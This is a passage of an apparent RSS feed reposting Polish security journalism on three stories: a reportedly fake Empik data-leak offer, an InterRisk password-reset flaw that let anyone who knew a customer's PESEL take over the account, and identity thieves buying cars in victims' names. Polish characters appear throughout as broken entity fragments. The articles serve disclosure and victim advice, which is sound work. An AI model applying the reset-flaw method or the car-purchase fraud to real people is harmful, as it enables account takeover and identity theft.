Informacje dotyczand#261;ce zamand#243;wieand#324; (liczba, daty)

Ani ogand#322;oszenie, ani ujawniona przez sprzedawcand#281; prand#243;bka nie zawiera haseand#322;. Nazwy kolumn sugerujand#261;, and#380;e and#378;rand#243;dand#322;em moand#380;e byand#263; jakiand#347; system zwiand#261;zany z reklamami. Podejrzanie wysoka i bardzo dziwnie podana jest teand#380; liczba rekordand#243;w (czy na pewno chodzi o 24 miliony uand#380;ytkownikand#243;w? Czand#281;and#347;and#263; osand#243;b sugeruje, and#380;e to zapis stosowany w Indiach i oznacza 2,4 milionaand#8230;), ale byand#263; moand#380;e w peand#322;nej bazie, ktand#243;ra ma waand#380;yand#263; 47GB po prostu sand#261; and#8220;duplikatyand#8221;, co dodatkowo wspieraand#322;oby teoriand#281; dotyczand#261;cand#261; systemu reklamowego/trackingowego.
Oand#347;wiadczenie Empiku
Skontaktowaliand#347;my siand#281;and#160;z Empikiem i otrzymaliand#347;my nastand#281;pujand#261;ce oand#347;wiadczenie dotyczand#261;ce tego incydentu (wytand#322;uszczenia nasze):

(and#8230;) nadal trwa weryfikacja wspomnianych wczeand#347;niej podejrzeand#324;, jednak juand#380; teraz moand#380;emy powiedzieand#263;, and#380;eand#160;zdecydowana wiand#281;kszoand#347;and#263; z udostand#281;pnionych w prand#243;bce w rzekomym incydencie danych nie wystand#281;puje w systemach Empiku. Co wiand#281;cej,and#160;format danych kontaktowych z udostand#281;pnionej prand#243;bki nie jest spand#243;jny z formatem obowiand#261;zujand#261;cym w wykorzystywanych przez nas wewnand#281;trznych systemach. Ponadto znacznand#261; czand#281;and#347;and#263; opublikowanej prand#243;bki danych stanowi lista produktand#243;w z katalogu Empik.com and#8211; sand#261; to informacje powszechnie dostand#281;pne, niezwiand#261;zane w and#380;aden sposand#243;b z historiand#261; zakupand#243;w czy konkretnymi uand#380;ytkownikami. Moand#380;emy rand#243;wnieand#380; potwierdziand#263;, and#380;e wand#347;rand#243;d nichand#160;nie znalazand#322;y siand#281;: hasand#322;a, hashe haseand#322;, prawdziwa historia zakupand#243;w czy dane pand#322;atnicze. Jednoczeand#347;nie pragniemy podkreand#347;liand#263;, and#380;e zgodnie z normand#261; PCI DSS Empik nie przechowuje numerand#243;w kart pand#322;atniczych.

Na podstawie powyand#380;szego oand#347;wiadczenia wczeand#347;niej wskazanych przez nas wand#261;tpliwoand#347;ci co do pochodzenia danych w prand#243;bce, wydaje siand#281;, and#380;e and#378;rand#243;dand#322;em danych (i zaatakowanym systemem) moand#380;e byand#263; infrastruktura innej firmy (poand#347;rednika? programu partnerskiego/reklamowego?).
Mimo to, na wszelki wypadek, wszystkim klientom Empiku zalecamy and#8212; do momentu peand#322;nego wyjaand#347;nienia tego incydentu and#8212; zaand#322;oand#380;yand#263; najgorszy scenariusz i wdroand#380;yand#263;and#160;prewencyjnand#261; zmianand#281; hasand#322;a oraz oswoiand#263; siand#281; z myand#347;land#261;, and#380;e dane, ktand#243;re podaliand#347;cie podczas zakupand#243;w na tej platformie staand#322;y siand#281; jawneand#160;i ktoand#347; moand#380;e ustaliand#263; Wasz:

adres zamieszkaniaand#160;na podstawie e-maila albo numeru telefonu albo nazwiska numer telefonuand#160;na podstawie e-maila albo adresu albo nazwiska e-mailand#160;na podstawie adresu lub numeru telefonu albo nazwiska nazwiskoand#160;na podstawie e-maila albo numeru telefonu albo adresu zamieszkania.

 Aktualizacja (22.03.2025 15:39) Dodaliand#347;my oand#347;wiadczenie Empiku.
 Aktualizacja (23.03.2025 13:37) Chwiland#281; po 10:00 otrzymaliand#347;my kolejne oand#347;wiadczenie Empiku, ktand#243;ry po szczegand#243;and#322;owej analizie danych w prand#243;bce ustaliand#322;, and#380;e and#8220;oferowana na sprzedaand#380; baza okazaand#322;a siand#281; nieprawdziwa i zostaand#322;a wykreowana w celu wyand#322;udzenia pieniand#281;dzy od osand#243;b potencjalnie zainteresowanych jej kupnem. Wedand#322;ug naszej wiedzy powstaand#322;a ona na bazie historycznie wystand#281;pujand#261;cych wyciekand#243;w danych z innych firmand#8220;.

W zwiand#261;zku ze wczorajszymi doniesieniami chcielibyand#347;my definitywnie uspokoiand#263; wszystkich uand#380;ytkownikand#243;w Empik.com. Natychmiast po identyfikacji potencjalnego zagroand#380;enia zespand#243;and#322; Empiku rozpoczand#261;and#322; weryfikacjand#281; podejrzeand#324; wystand#261;pienia incydentu bezpieczeand#324;stwa. Dziand#347; moand#380;emy juand#380; z pewnoand#347;ciand#261; powiedzieand#263;, and#380;e nie doszand#322;o do wycieku danych klientand#243;w z infrastruktury Empiku. Dane naszych klientand#243;w byand#322;y i pozostajand#261; bezpieczne. Z tego miejsca dziand#281;kujemy zespoand#322;owi ekspertand#243;w CERT za wsparcie w caand#322;ym procesie i bardzo sprawnand#261; wspand#243;and#322;pracand#281;. Przy tej okazji chcielibyand#347;my rand#243;wnieand#380; przestrzec przed publikowaniem i powielaniem w przestrzeni publicznej niezweryfikowanych informacji, szczegand#243;lnie w tak wraand#380;liwej kwestii jakand#261; jest bezpieczeand#324;stwo danych.

Gratulujemy Empikowi zarand#243;wno szybkoand#347;ci dziaand#322;ania jak i transparentnej komunikacji. Spreparowanie bazy wyjaand#347;nia dlaczego nie byand#322;o w niej ani haseand#322; ani hashy haseand#322;. Pozostaje pytanie, czy ktoand#347; skusiand#322; siand#281; na zakup bazy. I jak szybko oferujand#261;cy jand#261; na sprzedaand#380; uand#380;ytkownik zostanie na forum zabanowany.
Kupowaand#322;em w Empiku and#8212; co robiand#263;, jak and#380;yand#263;?
Dane wyciekaand#322;y, wyciekajand#261; i wyciekaand#263; band#281;dand#261;. Jak nie z jednego sklepu to z drugiego.
O tym jak chroniand#263; siand#281; przed wyciekami danych (tymi, ktand#243;re juand#380; nastand#261;piand#322;y i tymi ktand#243;re niebawem nastand#261;piand#261;) oraz o tym jak sprawdziand#263;, co w internecie krand#261;and#380;y na nasz temat moand#380;na zobaczyand#263; w tym nagraniu, pokazujand#261;c dziesiand#261;tki narzand#281;dzi, ktand#243;re mogand#261; zminimalizowaand#263; negatywne skutki wycieku naszych danych.and#160;
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 22 marca 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Można było pozyskać dane dowolnego klienta InterRisk. Wystarczyło znać jego PESEL. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1563</link>
			<description><![CDATA[ PESEL nigdy nie powinien sand#322;uand#380;yand#263; jako sekret w procesie uwierzytelniania. Piszemy o tym od lat. Niestety, niektand#243;re firmy wciand#261;and#380; bazujand#261; na band#322;and#281;dnym przekonaniu, and#380;e PESEL danej osoby jest znany tylko jej. A prawdziwy smutek ogarnia nas, jeand#347;li takie zaand#322;oand#380;enie czyni firma ubezpieczeniowa, ktand#243;ra przetwarza przecieand#380;and#160;doand#347;and#263; istotne dane na temat ludziand#8230;
Kilka dni temu pewien Czytelnik band#281;dand#261;cy klientem InterRisk zgand#322;osiand#322; nam niepokojand#261;cy problem z formularzem odzyskiwania hasand#322;a w serwisie internetowym InterRisk o nazwie iKlient. Tak wygland#261;daand#322;a strona do odzyskiwania hasand#322;a, ktand#243;rand#261; Czytelnik zobaczyand#322;:

Strona odzyskiwania hasand#322;a w klient.interrisk.pl

Jak widaand#263;, odzyskanie hasand#322;a wymaga podania loginu i telefonu, aleand#8230;

Roland#281; loginu moand#380;e peand#322;niand#263;and#160;PESEL.
Moand#380;na podaand#263;and#160;dowolny numer telefonu, a zresetowane hasand#322;o przyjdzie na ten wand#322;aand#347;nie numer.

Widzicie juand#380;and#160;problem? Znajand#261;c PESEL klienta InterRisk i podajand#261;c jakikolwiek numer telefonu do ktand#243;rego mamy dostand#281;p otrzymywaliand#347;my nowe hasand#322;o. Przychodziand#322;o SMS-em na podany przez nas numer, niezaleand#380;nie od tego, czy byand#322; on wczeand#347;niej uand#380;ywany przez danego klienta. Dziand#281;ki temu moand#380;na byand#322;o siand#281;and#160;zalogowaand#263; na konto dowolnego klienta InterRisk.

i zobaczyand#263; taki panel, dajand#261;cy wgland#261;d w wykupione usand#322;ugi i rand#243;and#380;ne zakresy danych (w zaleand#380;noand#347;ci od typu ubezpieczenia):

and#321;atwo moand#380;na ustaliand#263; dane klientand#243;w InterRisk (i nie tylko tej firmy)
Dodajmy, and#380;e jeand#347;li ktoand#347; chciaand#322;by zdobyand#263; numery PESEL klientand#243;w konkretnej firmy ubezpieczeniowej (np. InterRisk, ale nie tylko) moand#380;e sprand#243;bowaand#263; uand#380;yand#263; w tym celu choand#263;by powszechnych wyszukiwarek. W trakcie pisania tego tekstu znaleand#378;liand#347;my w internecie trochand#281; polis takich jak ta poniand#380;ej. Zostaand#322;a ona opublikowana w pewnym miejscu najprawdopodobniej wskutek czyjegoand#347; braku ostroand#380;noand#347;ci (nie wskaand#380;emy gdzie, ale czand#281;and#347;and#263;and#160;z uwaand#380;nych Czytelnikand#243;w na pewno to miejsce zna).

Ale podkreand#347;lmy, and#380;e wcale nie trzeba szukaand#263; polis InterRisk w siecie, and#380;eby and#8220;trafiand#263;and#8221; w prawdziwego klienta tej firmy. PESEL-e wielu osand#243;b sand#261; publicznie dostand#281;pne w rand#243;and#380;nych rejestrach, moand#380;na wiand#281;c prand#243;bowaand#263; and#8220;po koleiand#8221; i prand#281;dzej czy pand#243;and#378;niej trafi siand#281;and#160;kogoand#347;, kto ma polisand#281; akurat w tej firmie.
Co na to InterRisk
Zgand#322;osiliand#347;my problem firmie InterRisk w piand#261;tek 28 marca. Dorota Kaand#378;mierska z departamentu marketingu i PR potwierdziand#322;a, and#380;e zgand#322;oszenie dotarand#322;o i odpowiednie osoby zajmand#261; siand#281; sprawand#261;. Potem firma wyand#322;and#261;czyand#322;a dostand#281;p do formularza odzyskiwania hasand#322;a. A w and#347;rodand#281; otrzymaliand#347;my nastand#281;pujand#261;ce oand#347;wiadczenie:

(and#8230;) pragniemy poinformowaand#263;, and#380;e aplikacja iKlient byand#322;a w fazie wygaszania. Obecnie jest juand#380;and#160;niedostand#281;pna i zostanie zastand#261;piona nowym narzand#281;dziem. Dziand#281;kujemy za Paand#324;skie zgand#322;oszenie ktand#243;re traktujemy jako profesjonalnand#261;and#160;recenzjand#281; stosowanych przez nas rozwiand#261;zaand#324;. Zapewniamy and#380;e najwyand#380;szy poziom bezpieczeand#324;stwa jest naszym priorytetem. Dokand#322;adamy wszelkich staraand#324; aby nasze rozwiand#261;zania w peand#322;ni odpowiadaand#322;y na potrzeby i oczekiwania naszych Klientand#243;w.

Niestety, w oand#347;wiadczeniu nie znaleand#378;liand#347;my informacji o ktand#243;re pytaliand#347;my:

Od jak dawna mechanizm logowania na klient.interrisk.pl pozwala na zmianand#281; hasand#322;a w taki sposand#243;b?
Czy ta sytuacja zostanie potraktowana jako incyent w ochronie danych i zgand#322;oszona do UODO?

Ciand#281;and#380;ko wiand#281;c oszacowaand#263;, czy ktoand#347;and#160;naduand#380;yand#322; ten mechanizm i na jakand#261; skaland#281;. Wierzymy jednak, and#380;e firma wykonaand#322;a odpowiednie analizy w tym zakresie i w zaleand#380;noand#347;ci od ich wyniku, podjand#281;and#322;a dodatkowe kroki zmierzajand#261;ce choand#263;by do poinformowania klientand#243;w, ktand#243;rych dane w ten sposand#243;b zostaand#322;y pozyskane. Tu wspomnimy teand#380; o radzie, ktand#243;rand#261; powtarzamy na naszychand#160;szkoleniach dla programistand#243;w z Atakowania i Ochrony Webaplikacji:

po tak waand#380;nym dziaand#322;aniu w kontekand#347;cie konta uand#380;ytkownika jak zmiana danych kontaktowych (np. numeru telefonu) lub hasand#322;a, warto wysand#322;aand#263; o tym fakcie informacje na poprzednie dane kontaktowe. Jeand#347;li zmiana byand#322;a nieautoryzowana, jest szansa, and#380;e wand#322;aand#347;ciciel konta otrzyma jasny sygnaand#322;, and#380;e coand#347;and#160;jest nie tak i szybka reakcja pokrzyand#380;uje plany atakujand#261;cym.

Nie uand#380;ywaj PESEL-u jako sekretu!
Na pierwszy rzut oka w opisanej sytuacji gand#322;and#243;wnym problemem jest przesyand#322;anie hasand#322;a na dowolnie wskazany numer. Ale inicjowanie tego procesu jest moand#380;liwe tylko po uprzednim podaniu PESEL-u klienta. Tak wiand#281;c zasadniczym problemem jest przyjand#281;cie zaand#322;oand#380;enia, and#380;e PESEL moand#380;e byand#263; traktowany jako sekret w procesie uwierzytelniania.
Od lat w rand#243;and#380;nych kontekstach piszemy o tym, and#380;e korzystanie z PESELu jako niewiadomej to band#322;and#261;d (por.and#160;Dlaczego PESEL to zand#322;e hasand#322;o do zipa, czyli jak nie udostand#281;pniaand#263; wynikand#243;w badaand#324; na COVID-19 (aniand#160;and#380;adnych innych)and#160;orazand#160;Odbieraand#322;eand#347; swoje badania lekarskie przez internet? Mamy nadziejand#281;, and#380;e nie w taki sposand#243;b). Jeszcze w czasach przed-rodowych and#243;wczesny urzand#261;d ochrony danych (GIODO) wydawaand#322; decyzje mand#243;wiand#261;ce o tym, and#380;e PESEL nie moand#380;e byand#263; loginem i hasand#322;em. Istniejand#261;cy obecnie Urzand#261;d Ochrony Danych Osobowych powtand#243;rzyand#322; tand#281; uwagand#281; w swoimand#160;newsletterze do Inspektorand#243;w Ochrony Danychand#160;z listopada 2021 r.
Jestem klientem InterRisk and#8212; co robiand#263;, jak and#380;yand#263;?
Po pierwsze, jeand#347;li jesteand#347;cie klientem InterRisku, sprawdand#378;cie, czy moand#380;ecie siand#281;and#160;zalogowaand#263; na swoje konto swoim hasand#322;em. Jeand#347;li nie, jest szansa, and#380;e ktoand#347; je Wam zmieniand#322;and#160;wand#322;aand#347;nie w taki sposand#243;b, jak wskazany w naszym artykule. I wtedy naleand#380;y zaczand#261;and#263; siand#281;and#160;martwiand#263;. Powinniand#347;cie zaand#322;oand#380;yand#263;, and#380;e wszystkie Wasze dane, ktand#243;re przekazaliand#347;cie InterRisk sand#261; teand#380; znane komuand#347; jeszcze. W zaleand#380;noand#347;ci od ich skali i istotnoand#347;ci, naleand#380;y podjand#261;and#263; dziaand#322;ania osand#322;onowe, aby utrudniand#263;and#160;komuand#347; posand#322;uand#380;enie siand#281;and#160;Waszand#261;and#160;toand#380;samoand#347;ciand#261; w celu wyand#322;udzeand#324; lub dalszych sprofilowanych atakand#243;w na Was i Waszych najbliand#380;szych. Jednym z najwaand#380;niejszych band#281;dzieand#160;zastrzeand#380;enie PESEL-u, ktand#243;re moand#380;e utrudniand#263; rand#243;and#380;ne wyand#322;udzenia.
O tym co naleand#380;y zrobiand#263; kiedy nasze dane wyciekand#322;y, jak sprawdziand#263; co wyciekand#322;o i gdzie po internecie lata, oraz z jakich usand#322;ug warto skorzystaand#263;, aby ten wyciek ograniczyand#263; w szczegand#243;and#322;ach mand#243;wimy wand#160;tym wideo-poradniku. Warto go zobaczyand#263;, nawet jeand#347;li jeszcze nie jesteand#347;cie ofiarand#261; and#380;adnego wycieku, bo zawiera on wiele porad, ktand#243;re and#8212; jeand#347;li zostanand#261;and#160;wdroand#380;one and#8212; mogand#261; istotnie obniand#380;yand#263; ryzyko przyszand#322;ych wyciekand#243;w danych, ktand#243;re Was spotkajand#261;. Do koand#324;ca dnia, z kodem and#8220;PESEL-TO-NIE-SEKRETand#8221; moand#380;ecie uzyskaand#263; dostand#281;p do tego materiaand#322;u z 50% zniand#380;kand#261; and#8212; bez obaw, macie 30 dni, and#380;eby siand#281; zapoznaand#263; z tym materiaand#322;em, wiand#281;c na pewno zdand#261;and#380;ycie.
A ten tekst zakoand#324;czymy apelem.and#160;Gdziekolwiek macie konto, sprawdand#378;cie jak wygland#261;da and#347;cieand#380;ka resetowania hasand#322;a do Waszego konta. I jeand#347;li namierzycie podobne sand#322;aboand#347;ci (wykorzystanie PESEL-u albo innej znanej publicznie danej jako sekretu pozwalajand#261;cego na przejand#281;cie konta) and#8212; dajcie nam znaand#263;. Z chand#281;ciand#261;and#160;wytand#322;umaczymy dostawcom, dlaczego powinni and#8220;wygasiand#263;and#8221; taki system.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 3 kwietnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Lepiej sprawdź, czy ktoś nie kupił samochodu na Twoje dane… ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1562</link>
			<description><![CDATA[ and#8220;Kradzieand#380; toand#380;samoand#347;ciand#8221; to nie tylko wziand#281;cie legendarnej poand#380;yczki na Twoje dane. To moand#380;e byand#263; takand#380;e inna, rand#243;wnie bolesna dla Ciebie czynnoand#347;and#263;, jak np. kupienie samochodu na Twoje dane. O tym, and#380;e masz samochand#243;d dowiesz siand#281; dopiero z wezwania do zapand#322;aty na prawieand#160;10 000 zand#322;otych. Za co? Za brak opand#322;acenia ubezpieczenia OC.
Zanim na dobre zaczniemy ten artykuand#322;, trzeba to napisaand#263; wprost: tematand#160;kradzieand#380;y toand#380;samoand#347;ciand#160;w Polsce jest naprawdand#281; dotkliwy. Przestand#281;pstwa tego typu sand#261;and#160;wyniszczajand#261;ce psychicznieand#160;dla ofiar, poniewaand#380; towarzyszy im poczucie utraty kontroli nad wand#322;asnym and#380;yciem. Oto ktoand#347; chodzi w Twoim imieniu po mieand#347;cie i zaand#322;atwia rand#243;and#380;ne sprawy jako Ty, a Ty otrzymujesz po czasie pisma z and#380;and#261;daniami zapand#322;aty albo opisami innych problemand#243;w. Co gorsza, dla organand#243;w and#347;cigania nie sand#261; to sprawy tak powaand#380;ne jak pobicia czy kradzieand#380;e. Dlatego ofiary czand#281;sto sand#322;yszand#261;, and#380;e albo and#8220;nic siand#281; nie staand#322;oand#8221; albo wrand#281;cz wmawia im siand#281;, and#380;e to one sand#261; oszustami i celowo mataczand#261; aby uniknand#261;and#263; odpowiedzialnoand#347;ci. To jest druzgocand#261;ce.
Po co ktoand#347; miaand#322;by kupowaand#263; samochand#243;d na moje dane?
Po to, and#380;eby nie pand#322;aciand#263; za niego OC. Co tam mand#243;wicie? and#379;e ciand#281;and#380;ko cokolwiek band#281;dzie takiemu oszustowi zrobiand#263; z samochodem, ktand#243;ry nie ma opand#322;aconego OC? and#379;e nawet go nie zarejestruje? Nie musi. Bo on go od razu sprzeda na czand#281;and#347;ci i na tym zarobi. Dlaczego coraz wiand#281;kszej liczbie cwaniaczkand#243;w taki numer coraz czand#281;and#347;ciej siand#281;and#160;udaje? To dobre pytanieand#8230; a odpowiedand#378; jest doand#347;and#263; smutna.
Choand#263; mamy juand#380; w Polsce takie and#347;rodki obrony jak np.and#160;zastrzeganie numeru PESELand#160;czy moand#380;liwoand#347;and#263;and#160;sprawdzenia siand#281; w rand#243;and#380;nych rejestrach, ktand#243;re mogand#261; ujawniand#263;, and#380;e ktoand#347; posand#322;uand#380;yand#322; siand#281; naszymi danymi, to wciand#261;and#380;and#160;nie ma moand#380;liwoand#347;ci 100% ochrony naszej toand#380;samoand#347;ci przed kradzieand#380;and#261;. Sand#322;abe punkty pojawiajand#261; siand#281; tam, gdzie funkcjonujand#261; procedury and#8220;papieroweand#8221; z dodatkowymi proceduralnymi opand#243;and#378;nieniami. A takim procesem jest wand#322;aand#347;nie kupno i sprzedaand#380; samochodu.
Dlatego ktoand#347; moand#380;e bezkarnie kupiand#263; auto na Twoje dane i nie opand#322;aciand#263;and#160;OC. Ty, prand#281;dzej czy pand#243;and#378;niej, otrzymaszand#160;wezwanie do zapand#322;aty kary za brak OC. Taka kara wynosi:

9330 zand#322;and#160;, jeand#347;li przerwa w ubezpieczeniu byand#322;a dand#322;uand#380;sza niand#380; 14 dni. Ta kara jest obliczana jako dwukrotnoand#347;and#263; minimalnego wynagrodzenia za pracand#281;.
4670 zand#322;and#160;(czyli 50% tej peand#322;nej) jeand#347;li przerwa w ubezpieczeniu wynosiand#322;a od 4 do 14 dni,
1870 zand#322;and#160;(czyli 20% tej peand#322;nej) jeand#347;li przerwa w ubezpieczeniu wynosiand#322;a do 3 dni.

Stawki za motocykle sand#261; niand#380;sze, a za ciand#281;and#380;arand#243;wki wyand#380;sze. Szczegand#243;and#322;y wand#160;tym dokumencie.
and#346;ciand#261;ganiem tych pieniand#281;dzy zajmuje siand#281;and#160;Ubezpieczeniowy Fundusz Gwarancyjny. Jak wynika zand#160;raportu UFG za rok 2023and#160;wezwania do uiszczenia tych opand#322;atand#160;wysand#322;ano do ponad 348 000 osand#243;b w roku 2023. Czand#281;and#347;and#263; z tych osand#243;b to zwykli ludzie, ktand#243;rzy po prostu byli band#322;and#281;dnie przekonani o tym, and#380;e za nieuand#380;ywany zand#322;om nie trzeba pand#322;aciand#263; ubezpieczenia. Ale czand#281;and#347;and#263;, to niestety osoby, ktand#243;rych danymi ktoand#347;and#160;siand#281; posand#322;uand#380;yand#322; bez ich wiedzy.
Przykand#322;adowe przestand#281;pstwa
Dwie stacje telewizyjne and#8212; Polsat i TVN and#8212; opublikowaand#322;y w ostatnim czasie reportaand#380;e na temat takich osand#243;b.and#160;Pierwszy przypadekand#160;(opisany w and#8220;Interwencjiand#8221; Polsatu) to pan Mariusz,and#160;mand#281;and#380;czyzna z Piotrkowa Trybunalskiego, ktand#243;ry co kilka dni dostaje wezwania w sprawie rzekomo swoich samochodand#243;w. Istotne fakty w sprawie:

wszystko zaczand#281;and#322;o siand#281; po tym, jak mand#281;and#380;czyzna sprzedaand#322; swand#243;j stary samochand#243;d;
jego dane wykorzystano nastand#281;pnie przy transakcjach zakupu kilkudziesiand#281;ciu pojazdand#243;w;
wszystkie samochody sand#261; juand#380; wyrejestrowane i zezand#322;omowane;
zgand#322;osiand#322; sprawand#281; na Policjand#281;, byand#322; wielokrotnie przesand#322;uchiwany (ale trudno powiedzieand#263;, czy przesand#322;uchano sprzedajand#261;cych);
organy and#347;cigania prowadzand#261; and#347;ledztwo i niewiele z niego wynika;
do sprawy wand#322;and#261;czyand#322;a siand#281; skarband#243;wka, ktand#243;ra dodatkowo and#380;and#261;da podatku od umand#243;w kupna-sprzedaand#380;y.

Prawdopodobnie z pojazdand#243;w nabytych na dane pana Mariusza od razu sand#261; wymontowywane wartoand#347;ciowe czand#281;and#347;ci a reszta trafia na zand#322;om. Osoby stojand#261;ce za tym procederem unikajand#261; pand#322;acenia za OC z wand#322;asnej kieszeni. Pan Mariusz nauczyand#322; siand#281; juand#380; hurtowo wysyand#322;aand#263; do UFG pisma z oand#347;wiadczeniami, and#380;e dany pojazd nie naleand#380;y do niego.
Drugi przypadekand#160;(z and#8220;Uwagiand#8221; TVN) to 45-letnia kobieta, ktand#243;ra nigdy nie miaand#322;a ani samochodu ani nawet prawa jazdy (!). Nagle staand#322;a siand#281; and#8220;wand#322;aand#347;cicielkand#261;and#8221; 19 pojazdand#243;w. Co ciekawe, w tym przypadkuand#160;policjanci nawet mieli ponoand#263; sugerowaand#263; kobiecie, and#380;e widocznie ta kupiand#322;a pojazdy tylko tego nie pamiand#281;taand#8230;
Istotne fakty:

pobrano podpis Pani Moniki do analizy grafologicznej, ale nigdy tej analizy nie zlecono;
kobieta sama dotarand#322;a do kilku sfaand#322;szowanych umand#243;w;
postand#281;powanie w sprawie kradzieand#380;y toand#380;samoand#347;ci byand#322;o umarzane;
policja nie przepytaand#322;a sprzedawcand#243;w aut,
ale zrobili to reporterzy i tropy zaprowadziand#322;y ich do jednej i tej samej firmy skupujand#261;cej zuand#380;yte auta (policja nie doszand#322;a do tego etapu).

Teraz z pewnoand#347;ciand#261; zadajecie sobie dwa pytania:

Czy da siand#281; tego uniknand#261;and#263;? Czy mogand#281; ustaliand#263; jakie pojazdy posiadam zanim napisze do mnie UFG i zaand#380;and#261;da opand#322;aty za przerwand#281; w OC?

Rzetelna odpowiedand#378;and#160;na te pytania wymaga kilku wyjaand#347;nieand#324;and#8230;
Co siand#281; dzieje z danymi przy kupnie-sprzedaand#380;y samochodu?
Wyjaand#347;nijmy najpierw (na przykand#322;adzie) jak wygland#261;da procedura kupna/sprzedaand#380;y samochodu. Zaand#322;and#243;and#380;my, and#380;eand#160;Janusz sprzedaje auto Graand#380;ynie. Spotykajand#261; siand#281;, dobijajand#261; targu, podpisujand#261; umowand#281; kupna i sprzedaand#380;y. W tej umowie znajdujand#261; siand#281; dane osobowe Janusza i Graand#380;yny and#8211;and#160;imiona, nazwiska, adresy, PESELE. Czand#281;sto sand#261; tam rand#243;wnieand#380;and#160;numery dowodand#243;w osobistych, ale to wcale nie jest konieczne aby umowa byand#322;a wiand#261;and#380;and#261;ca!
Nastand#281;pnieand#160;Janusz (zbywca pojazdu)and#160;musi zrobiand#263; 3 rzeczy:

zgand#322;osiand#263; sprzedaand#380; do wydziaand#322;u komunikacji (w ciand#261;gu 30 dni),
poinformowaand#263; o sprzedaand#380;y firmand#281; ubezpieczeniowand#261;,
zapand#322;aciand#263; podatek, jeand#380;eli samochand#243;d zostaand#322; sprzedany przed upand#322;ywem 6 miesiand#281;cy od dnia zakupu.

Skupmy siand#281; teraz na pierwszym i drugim punkcie, bo to na tym etapie Janusz moand#380;e wprowadziand#263;and#160;w proces kupna-sprzedaand#380;y Wasze dane.

Do wydziaand#322;u komunikacji sprzedaand#380; samochodu moand#380;na zgand#322;osiand#263; nawet pocztand#261;, doand#322;and#261;czajand#261;c kopiand#281; umowy kupna/sprzedaand#380;y. Dziand#281;ki temu urzand#261;d komunikacji dowie siand#281;, and#380;e auto zmieniand#322;o wand#322;aand#347;ciciela. Jeand#347;li Janusz nie zgand#322;osi sprzedaand#380;y pojazdu to formalnie pojazd band#281;dzie ciand#261;gle do niego naleand#380;aand#322; i band#281;dzie on za niego odpowiedzialny. A tego and#380;aden sprzedajand#261;cy nie chce, wiand#281;c dane Graand#380;yny trafiand#261;and#160;do urzand#281;du.
Doand#160;firmy ubezpieczeniowej sprzedaand#380; moand#380;na zgand#322;osiand#263; nawet przez formularz online, doand#322;and#261;czajand#261;c m.in. kopiand#281; umowy i podajand#261;c dane na temat pojazdu i sprzedaand#380;y. Po takim zgand#322;oszeniu dokonanym przez Janusza nabywca (czyli Graand#380;yna) staje siand#281; stronand#261; umowy ubezpieczenia i korzysta z ubezpieczenia do koand#324;ca okresu obowiand#261;zywania bieand#380;and#261;cej umowy. Tutajand#160;waand#380;ny szczegand#243;and#322;and#160;and#8212; jeand#347;li Graand#380;yna skorzysta z ubezpieczenia, ktand#243;re miaand#322;and#160;Janusz toand#160;umowa na OC nie przedand#322;uand#380;y siand#281; automatycznieand#160;(jest to jedna zand#160;niewielu sytuacji, kiedy OC nie przedand#322;uand#380;a siand#281; automatycznie). Czyli po zgand#322;oszeniu Janusza, Graand#380;yna korzysta z ubezpieczenia do pewnego momentu, a potemand#160;to onaand#160;musi sobie sama nowe ubezpieczenie OC wykupiand#263;.

Z koleiand#160;Graand#380;yna (nabywca)and#160;musi zrobiand#263; trzy rzeczy:

zarejestrowaand#263; pojazd na siebie (w ciand#261;gu 30 dni),
zapand#322;aciand#263; podatek PCC (i wypeand#322;niand#263; deklaracjand#281; PCC-3 w ciagu 14 dni),
zapewniand#263; ciand#261;gand#322;oand#347;and#263; ubezpieczenia OC.

Graand#380;yna moand#380;e skorzystaand#263; z wykupionej wczeand#347;niej przez Janusza umowy ubezpieczenia na pojazd, ale musi pamiand#281;taand#263;, and#380;eby po jej wygaand#347;niand#281;ciu wykupiand#263; nowand#261; polisand#281;.and#160;Tutaj powstaje ryzyko zapand#322;acenia kary za brak OC,and#160;ale ciand#281;and#380;ko aby w naszym scenariuszu Graand#380;yna nie byand#322;a and#347;wiadoma nabycia pojazdu.
Caand#322;y proces jednak mocno siand#281;and#160;skomplikuje, jeand#347;li Graand#380;yna tak naprawdand#281; okaand#380;and#281; siand#281;and#160;Boand#380;enand#261;. Bardzo zand#322;and#261; Boand#380;enand#261;, ktand#243;ra Januszowi podczas zakupu przedstawi siand#281;and#160;jako Graand#380;yna. Rozwaand#380;my ten scenariusz bardziej szczegand#243;and#322;owo.
Gdzie jest miejsce na oszustwo?
Jeand#347;li Janusz otrzyma od Boand#380;eny dane Graand#380;yny, to:

Janusz zgand#322;osi sprzedaand#380; do urzand#281;du i ubezpieczyciela podajand#261;c tam dane niczego nieand#347;wiadomej Graand#380;yny
Graand#380;yna stanie siand#281; wand#322;aand#347;cicielkand#261; pojazdu i stronand#261; umowy ubezpieczenia OC.
Boand#380;ena moand#380;e zrobiand#263; z samochodem co chce i nie musi siand#281; przejmowaand#263; jego polisand#261; OC. Gdy ta wygaand#347;nie, UFG ustali Graand#380;ynand#281; jako posiadacza poprzedniej polisy i/albo wand#322;aand#347;ciciela pojazdu. UFG zwrand#243;ci siand#281; zatem do Graand#380;yny o zapand#322;acenie prawie 10 tys. zand#322;otych kary.
Janusz zawsze moand#380;e powiedzieand#263; i policji i dziennikarzom, and#380;e nie wiedziaand#322; czy kobieta, ktand#243;rej sprzedawaand#322; samochand#243;d to naprawdand#281;and#160;Graand#380;yna, bo jej nie legitymowaand#322;, nie miaand#322;and#160;takiego obowiand#261;zku. Po prostu podpisaand#322; umowand#281;, ktand#243;rand#261; mu podsuniand#281;to i dostaand#322; tyle kasy ile mu obiecano. Jego przecieand#380;and#160;nikt nie oszukaand#322;. I jakie to w ogand#243;le ma znaczenie dla niego, komu samochand#243;d sprzedaand#322;?

Wydaje siand#281;, and#380;e gdzieand#347;and#160;w tym procesie zmiany wand#322;aand#347;ciciela, nowa osoba powinna dostaand#263; z urzand#281;du albo od ubezpieczyciela jakieand#347;and#160;potwierdzenie. Idealnie na dand#322;ugo przed tym, zanim skontaktuje siand#281;and#160;z niand#261; UFG. Teoretycznie, to byand#322;oby moand#380;liwe, aleand#8230; witajcie w zinformatyzowanej Polsce wielu systemand#243;w!
Kiedy w CEPIK zmienia siand#281; wand#322;aand#347;ciciel?
